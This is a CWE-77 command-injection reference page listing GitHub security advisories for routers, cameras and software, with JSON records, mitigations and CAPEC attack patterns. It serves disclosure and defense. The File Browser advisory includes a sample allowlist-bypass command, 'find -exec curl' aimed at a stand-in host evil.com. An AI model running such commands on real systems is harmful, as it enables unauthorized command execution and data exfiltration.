Common Weakness Enumeration

CWE-77

Allowed-with-Review

Improper Neutralization of Special Elements used in a Command ('Command Injection')

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.

5416 vulnerabilities reference this CWE, most recent first.

GHSA-3Q2F-PQ2Q-F9QF

Vulnerability from github – Published: 2024-11-26 18:38 – Updated: 2025-03-13 15:32
VLAI
Details

TP-Link TL-IPC42C V4.0_20211227_1.0.16 is vulnerable to command injection due to the lack of malicious code verification on both the frontend and backend.

Severity
8.0 (High)
CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2024-48288"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-21T18:15:10Z",
    "severity": "HIGH"
  },
  "details": "TP-Link TL-IPC42C V4.0_20211227_1.0.16 is vulnerable to command injection due to the lack of malicious code verification on both the frontend and backend.",
  "id": "GHSA-3q2f-pq2q-f9qf",
  "modified": "2025-03-13T15:32:41Z",
  "published": "2024-11-26T18:38:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-48288"
    },
    {
      "type": "WEB",
      "url": "https://github.com/GroundCTL2MajorTom/pocs/blob/main/Cisco_Linksys_E3000_rce.md"
    },
    {
      "type": "WEB",
      "url": "https://github.com/GroundCTL2MajorTom/pocs/blob/main/TP-Link_TL-IPC42C_RCE.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3Q2W-42MV-CPH4

Vulnerability from github – Published: 2025-06-27 15:19 – Updated: 2026-06-09 18:40
VLAI
Summary
filebrowser Allows Shell Commands to Spawn Other Commands
Details

[!NOTE] This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We're publishing this new advisory to make it clear that all vulnerabilities concerning this feature are disclosed.

For more information about tracking vulnerability issues related to the Command Execution features, check https://github.com/filebrowser/filebrowser/issues/5199.

Summary

The Command Execution feature of File Browser only allows the execution of shell command which have been predefined on a user-specific allowlist. Many tools allow the execution of arbitrary different commands, rendering this limitation void.

Impact

The concrete impact depends on the commands being granted to the attacker, but the large number of standard commands allowing the execution of subcommands makes it likely that every user having the Execute commands permissions can exploit this vulnerability. Everyone who can exploit it will have full code execution rights with the uid of the server process.

Vulnerability Description

Many Linux commands allow the execution of arbitrary different commands. For example, if a user is authorized to run only the find command and nothing else, this restriction can be circumvented by using the -exec flag.

Some common commands having the ability to launch external commands and which are included in the official container image of Filebrowser are listed below. The website https://gtfobins.github.io gives a comprehensive overview:

As a prerequisite, an attacker needs an account with the Execute Commands permission and some permitted commands.

Proof of Concept

The following screenshot demonstrates, how this can be used to issue a network call to an external server:

image

Recommended Countermeasures

Until this issue is fixed, we recommend to completely disable Execute commands for all accounts. Since the command execution is an inherently dangerous feature that is not used by all deployments, it should be possible to completely disable it in the application's configuration.

The prlimit command can be used to prevent the execution of subcommands:

$ find . -exec curl http://evil.com {} \;
<HTML>
<HEAD>
[...]

$ prlimit --nproc=0 find . -exec curl http://evil.com {} \;
find: cannot fork: Resource temporarily unavailable

It should be prepended to any command executed in the context of the application. prlimit can be used for containerized deployments as well as for bare-metal ones.

WARNING: Note that this does prevent any unexpected behavior from the authorized command. For example, the find command can also delete files directly via its -delete flag.

As a defense-in-depth measure, Filebrowser should provide an additional container image based on a distroless base image.

Timeline

  • 2025-03-26 Identified the vulnerability in version 2.32.0
  • 2025-06-25 Uploaded advisories to the project's GitHub repository
  • 2025-06-25 CVE ID assigned by GitHub
  • 2025-06-25 A patch version has been pushed to disable the feature for all existent installations, and making it opt-in. A warning has been added to the documentation and is printed on the console if the feature is enabled. Due to the project being in maintenance-only mode, the bug has not been fixed. Fix is tracked on https://github.com/filebrowser/filebrowser/issues/5199.

References

Credits

Severity
8.0 (High)
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/filebrowser/filebrowser/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.33.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-52903"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-183",
      "CWE-749",
      "CWE-77",
      "CWE-88"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-06-27T15:19:16Z",
    "nvd_published_at": "2025-06-26T19:15:21Z",
    "severity": "HIGH"
  },
  "details": "\u003e [!NOTE]\n\u003e **This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations**. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We\u0027re publishing this new advisory to make it clear that all vulnerabilities concerning this feature are disclosed.\n\u003e\n\u003e For more information about tracking vulnerability issues related to the Command Execution features, check https://github.com/filebrowser/filebrowser/issues/5199.\n\n## Summary ##\n\nThe *Command Execution* feature of File Browser only allows the execution of shell command which have been predefined on a user-specific allowlist. Many tools allow the execution of arbitrary different commands, rendering this limitation void.\n\n## Impact ##\n\nThe concrete impact depends on the commands being granted to the attacker, but the large number of standard commands allowing the execution of subcommands makes it likely that every user having the `Execute commands` permissions can exploit this vulnerability. Everyone who can exploit it will have full code execution rights with the *uid* of the server process.\n\n## Vulnerability Description ##\n\nMany Linux commands allow the execution of arbitrary different commands. For example, if a user is authorized to run only the `find` command and nothing else, this restriction can be circumvented by using the `-exec` flag.\n\nSome common commands having the ability to launch external commands and which are included in the official container image of Filebrowser are listed below. The website \u003chttps://gtfobins.github.io\u003e gives a comprehensive overview:\n\n* \u003chttps://gtfobins.github.io/gtfobins/cpio\u003e\n* \u003chttps://gtfobins.github.io/gtfobins/find\u003e\n* \u003chttps://gtfobins.github.io/gtfobins/sed\u003e\n* \u003chttps://gtfobins.github.io/gtfobins/git\u003e\n* \u003chttps://gtfobins.github.io/gtfobins/env\u003e\n\nAs a prerequisite, an attacker needs an account with the `Execute Commands` permission and some permitted commands.\n\n## Proof of Concept ##\n\nThe following screenshot demonstrates, how this can be used to issue a network call to an external server:\n\n![image](https://github.com/user-attachments/assets/02ef0833-79ee-40f7-87b8-bbb3fe102eab)\n\n## Recommended Countermeasures ##\n\nUntil this issue is fixed, we recommend to completely disable `Execute commands` for all accounts. Since the command execution is an inherently dangerous feature that is not used by all deployments, it should be possible to completely disable it in the application\u0027s configuration.\n\nThe `prlimit` command can be used to prevent the execution of subcommands:\n\n```bash\n$ find . -exec curl http://evil.com {} \\;\n\u003cHTML\u003e\n\u003cHEAD\u003e\n[...]\n\n$ prlimit --nproc=0 find . -exec curl http://evil.com {} \\;\nfind: cannot fork: Resource temporarily unavailable\n```\n\nIt should be prepended to any command executed in the context of the application. `prlimit` can be used for containerized deployments as well as for bare-metal ones.\n\nWARNING: Note that this does prevent any unexpected behavior from the authorized command. For example, the `find` command can also delete files directly via its `-delete` flag.\n\nAs a defense-in-depth measure, Filebrowser should provide an additional container image based on a *distroless* base image.\n\n## Timeline ##\n\n* `2025-03-26` Identified the vulnerability in version 2.32.0\n* `2025-06-25` Uploaded advisories to the project\u0027s GitHub repository\n* `2025-06-25` CVE ID assigned by GitHub\n* `2025-06-25` A patch version has been pushed to disable the feature for all existent installations, and making it **opt-in**. A warning has been added to the documentation and is printed on the console if the feature is enabled. Due to the project being in maintenance-only mode, the bug has not been fixed. Fix is tracked on https://github.com/filebrowser/filebrowser/issues/5199.\n\n## References ##\n\n* [prlimit](https://manpages.debian.org/bookworm/util-linux/prlimit.1.en.html)\n* [\"Distroless\" Container Images.](https://github.com/GoogleContainerTools/distroless)\n* [Original Advisory](https://github.com/sbaresearch/advisories/tree/public/2025/SBA-ADV-20250326-02_Filebrowser_Shell_Commands_Can_Spawn_Other_Commands)\n \n## Credits ##\n\n* Mathias Tausig ([SBA Research](https://www.sba-research.org/))",
  "id": "GHSA-3q2w-42mv-cph4",
  "modified": "2026-06-09T18:40:07Z",
  "published": "2025-06-27T15:19:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-3q2w-42mv-cph4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52903"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/issues/5199"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/commit/4d830f707fc4314741fd431e70c2ce50cd5a3108"
    },
    {
      "type": "WEB",
      "url": "https://github.com/GoogleContainerTools/distroless"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/filebrowser/filebrowser"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sbaresearch/advisories/tree/public/2025/SBA-ADV-20250326-02_Filebrowser_Shell_Commands_Can_Spawn_Other_Commands"
    },
    {
      "type": "WEB",
      "url": "https://manpages.debian.org/bookworm/util-linux/prlimit.1.en.html"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2025-3786"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "filebrowser Allows Shell Commands to Spawn Other Commands"
}

GHSA-3Q82-GPRF-75FQ

Vulnerability from github – Published: 2022-02-08 00:00 – Updated: 2022-02-08 00:00
VLAI
Details

Tenda AX3 v16.03.12.10_CN was discovered to contain a command injection vulnerability in the function mDMZSetCfg. This vulnerability allows attackers to execute arbitrary commands via the dmzIp parameter.

Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2022-24148"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-02-04T02:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Tenda AX3 v16.03.12.10_CN was discovered to contain a command injection vulnerability in the function mDMZSetCfg. This vulnerability allows attackers to execute arbitrary commands via the dmzIp parameter.",
  "id": "GHSA-3q82-gprf-75fq",
  "modified": "2022-02-08T00:00:36Z",
  "published": "2022-02-08T00:00:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-24148"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pjqwudi/my_vuln/blob/main/Tenda/vuln_14/14.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-3Q87-6FCW-7MJ7

Vulnerability from github – Published: 2022-03-30 00:00 – Updated: 2022-04-06 00:01
VLAI
Details

A Remote Command Injection vulnerability exists in DrayTek Vigor 2960 1.5.1.3, DrayTek Vigor 3900 1.5.1.3, and DrayTek Vigor 300B 1.5.1.3 via a crafted HTTP message containing malformed QUERY STRING in mainfunction.cgi, which could let a remote malicious user execute arbitrary code.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2021-43118"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-03-29T20:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "A Remote Command Injection vulnerability exists in DrayTek Vigor 2960 1.5.1.3, DrayTek Vigor 3900 1.5.1.3, and DrayTek Vigor 300B 1.5.1.3 via a crafted HTTP message containing malformed QUERY STRING in mainfunction.cgi, which could let a remote malicious user execute arbitrary code.",
  "id": "GHSA-3q87-6fcw-7mj7",
  "modified": "2022-04-06T00:01:57Z",
  "published": "2022-03-30T00:00:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-43118"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/Cossack9989/6034c077f46e4f06d0992e9f2fae7f26"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3QCX-PMVV-PWF4

Vulnerability from github – Published: 2026-02-08 09:30 – Updated: 2026-02-08 09:30
VLAI
Details

A security vulnerability has been detected in D-Link DIR-823X 250416. This issue affects some unknown processing of the file /goform/set_ddns of the component DDNS Service. The manipulation of the argument ddnsType/ddnsDomainName/ddnsUserName/ddnsPwd leads to os command injection. The attack is possible to be carried out remotely. The exploit has been disclosed publicly and may be used.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
7.3 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2026-2143"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-08T09:15:51Z",
    "severity": "HIGH"
  },
  "details": "A security vulnerability has been detected in D-Link DIR-823X 250416. This issue affects some unknown processing of the file /goform/set_ddns of the component DDNS Service. The manipulation of the argument ddnsType/ddnsDomainName/ddnsUserName/ddnsPwd leads to os command injection. The attack is possible to be carried out remotely. The exploit has been disclosed publicly and may be used.",
  "id": "GHSA-3qcx-pmvv-pwf4",
  "modified": "2026-02-08T09:30:15Z",
  "published": "2026-02-08T09:30:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2143"
    },
    {
      "type": "WEB",
      "url": "https://github.com/master-abc/cve/issues/25"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.344778"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.344778"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.747492"
    },
    {
      "type": "WEB",
      "url": "https://www.dlink.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-3QM6-WCP5-FX9F

Vulnerability from github – Published: 2024-11-29 12:31 – Updated: 2025-07-23 09:30
VLAI
Details

Command Injection vulnerability in NEC Corporation UNIVERGE IX from Ver9.2 to Ver10.10.21, for Ver10.8 up to Ver10.8.27, for Ver10.9 up to Ver10.9.14 and UNIVERGE IX-R/IX-V Ver1.2.15 and earlier allows a attacker to inject an arbitrary CLI commands to be executed on the device via the management interface.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-11013"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-29T08:15:03Z",
    "severity": "HIGH"
  },
  "details": "Command Injection vulnerability in NEC Corporation UNIVERGE IX from Ver9.2 to Ver10.10.21, for Ver10.8 up to Ver10.8.27, for Ver10.9 up to Ver10.9.14 and UNIVERGE IX-R/IX-V Ver1.2.15 and earlier allows a attacker to inject an arbitrary CLI commands to be executed on the device via the management interface.",
  "id": "GHSA-3qm6-wcp5-fx9f",
  "modified": "2025-07-23T09:30:34Z",
  "published": "2024-11-29T12:31:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-11013"
    },
    {
      "type": "WEB",
      "url": "https://https://jpn.nec.com/security-info/secinfo/nv24-009_en.html"
    },
    {
      "type": "WEB",
      "url": "https://jpn.nec.com/security-info/secinfo/nv24-009_en.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3QR2-WF7P-C9F8

Vulnerability from github – Published: 2026-02-12 00:31 – Updated: 2026-02-12 18:30
VLAI
Details

A logic issue was addressed with improved checks. This issue is fixed in watchOS 26.3, tvOS 26.3, macOS Tahoe 26.3, macOS Sonoma 14.8.4, macOS Sequoia 15.7.4, iOS 18.7.5 and iPadOS 18.7.5, visionOS 26.3, iOS 26.3 and iPadOS 26.3. An attacker in a privileged network position may be able to intercept network traffic.

Severity
3.1 (Low)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-20671"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-11T23:16:09Z",
    "severity": "LOW"
  },
  "details": "A logic issue was addressed with improved checks. This issue is fixed in watchOS 26.3, tvOS 26.3, macOS Tahoe 26.3, macOS Sonoma 14.8.4, macOS Sequoia 15.7.4, iOS 18.7.5 and iPadOS 18.7.5, visionOS 26.3, iOS 26.3 and iPadOS 26.3. An attacker in a privileged network position may be able to intercept network traffic.",
  "id": "GHSA-3qr2-wf7p-c9f8",
  "modified": "2026-02-12T18:30:23Z",
  "published": "2026-02-12T00:31:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-20671"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/126346"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/126347"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/126348"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/126349"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/126350"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/126351"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/126352"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/126353"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3QR5-H7W4-3GX3

Vulnerability from github – Published: 2022-05-14 01:15 – Updated: 2024-09-20 16:27
VLAI
Summary
Donfig Command Injection in collect_yaml method
Details

An issue was discovered in Donfig 0.3.0. There is a vulnerability in the collect_yaml method in config_obj.py. It can execute arbitrary Python commands, resulting in command execution.

Severity
9.8 (Critical)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.3 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.3.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "donfig"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-7537"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-07-19T19:52:48Z",
    "nvd_published_at": "2019-03-21T20:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "An issue was discovered in Donfig 0.3.0. There is a vulnerability in the `collect_yaml` method in `config_obj.py`. It can execute arbitrary Python commands, resulting in command execution.",
  "id": "GHSA-3qr5-h7w4-3gx3",
  "modified": "2024-09-20T16:27:57Z",
  "published": "2022-05-14T01:15:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-7537"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pytroll/donfig/issues/5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pytroll/donfig/commit/1f9dbf83b17419a06d63c14ef3fbd29dbc1b8ce5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/donfig/PYSEC-2019-21.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pytroll/donfig"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pytroll/donfig/commits/master"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Donfig Command Injection in collect_yaml method"
}

GHSA-3QW9-7WG6-QFF3

Vulnerability from github – Published: 2023-08-15 21:30 – Updated: 2024-04-04 06:58
VLAI
Details

An issue in COMFAST CF-XR11 v.2.7.2 allows an attacker to execute arbitrary code via the ifname and mac parameters in the sub_410074 function at bin/webmgnt.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2023-38863"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-08-15T19:15:10Z",
    "severity": "CRITICAL"
  },
  "details": "An issue in COMFAST CF-XR11 v.2.7.2 allows an attacker to execute arbitrary code via the ifname and mac parameters in the sub_410074 function at bin/webmgnt.",
  "id": "GHSA-3qw9-7wg6-qff3",
  "modified": "2024-04-04T06:58:10Z",
  "published": "2023-08-15T21:30:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-38863"
    },
    {
      "type": "WEB",
      "url": "https://github.com/TTY-flag/my_iot_vul/tree/main/COMFAST/CF-XR11/Command_Inject4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3R45-9M8Q-2CCH

Vulnerability from github – Published: 2023-02-09 21:30 – Updated: 2023-02-16 21:30
VLAI
Details

A command injection vulnerability exists in Jitsi before commit 8aa7be58522f4264078d54752aae5483bfd854b2 when launching browsers on Windows which could allow an attacker to insert an arbitrary URL which opens up the opportunity to remote execution.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2022-43550"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77",
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-02-09T20:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "A command injection vulnerability exists in Jitsi before commit 8aa7be58522f4264078d54752aae5483bfd854b2 when launching browsers on Windows which could allow an attacker to insert an arbitrary URL which opens up the opportunity to remote execution.",
  "id": "GHSA-3r45-9m8q-2cch",
  "modified": "2023-02-16T21:30:26Z",
  "published": "2023-02-09T21:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-43550"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jitsi/jitsi/commit/8aa7be58522f4264078d54752aae5483bfd854b2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design

If at all possible, use library calls rather than external processes to recreate the desired functionality.

Mitigation
Implementation

If possible, ensure that all external commands called from the program are statically created.

Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation
Operation

Run time: Run time policy enforcement may be used in an allowlist fashion to prevent use of any non-sanctioned commands.

Mitigation
System Configuration

Assign permissions that prevent the user from accessing/opening privileged files.

CAPEC-136: LDAP Injection

An attacker manipulates or crafts an LDAP query for the purpose of undermining the security of the target. Some applications use user input to create LDAP queries that are processed by an LDAP server. For example, a user might provide their username during authentication and the username might be inserted in an LDAP query during the authentication process. An attacker could use this input to inject additional commands into an LDAP query that could disclose sensitive information. For example, entering a * in the aforementioned query might return information about all users on the system. This attack is very similar to an SQL injection attack in that it manipulates a query to gather additional information or coerce a particular return value.

CAPEC-15: Command Delimiters

An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.

CAPEC-183: IMAP/SMTP Command Injection

An adversary exploits weaknesses in input validation on web-mail servers to execute commands on the IMAP/SMTP server. Web-mail servers often sit between the Internet and the IMAP or SMTP mail server. User requests are received by the web-mail servers which then query the back-end mail server for the requested information and return this response to the user. In an IMAP/SMTP command injection attack, mail-server commands are embedded in parts of the request sent to the web-mail server. If the web-mail server fails to adequately sanitize these requests, these commands are then sent to the back-end mail server when it is queried by the web-mail server, where the commands are then executed. This attack can be especially dangerous since administrators may assume that the back-end server is protected against direct Internet access and therefore may not secure it adequately against the execution of malicious commands.

CAPEC-248: Command Injection

An adversary looking to execute a command of their choosing, injects new items into an existing command thus modifying interpretation away from what was intended. Commands in this context are often standalone strings that are interpreted by a downstream component and cause specific responses. This type of attack is possible when untrusted values are used to build these command strings. Weaknesses in input validation or command construction can enable the attack and lead to successful exploitation.

CAPEC-40: Manipulating Writeable Terminal Devices

This attack exploits terminal devices that allow themselves to be written to by other users. The attacker sends command strings to the target terminal device hoping that the target user will hit enter and thereby execute the malicious command with their privileges. The attacker can send the results (such as copying /etc/passwd) to a known directory and collect once the attack has succeeded.

CAPEC-43: Exploiting Multiple Input Interpretation Layers

An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.

CAPEC-75: Manipulating Writeable Configuration Files

Generally these are manually edited files that are not in the preview of the system administrators, any ability on the attackers' behalf to modify these files, for example in a CVS repository, gives unauthorized access directly to the application, the same as authorized users.

CAPEC-76: Manipulating Web Input to File System Calls

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

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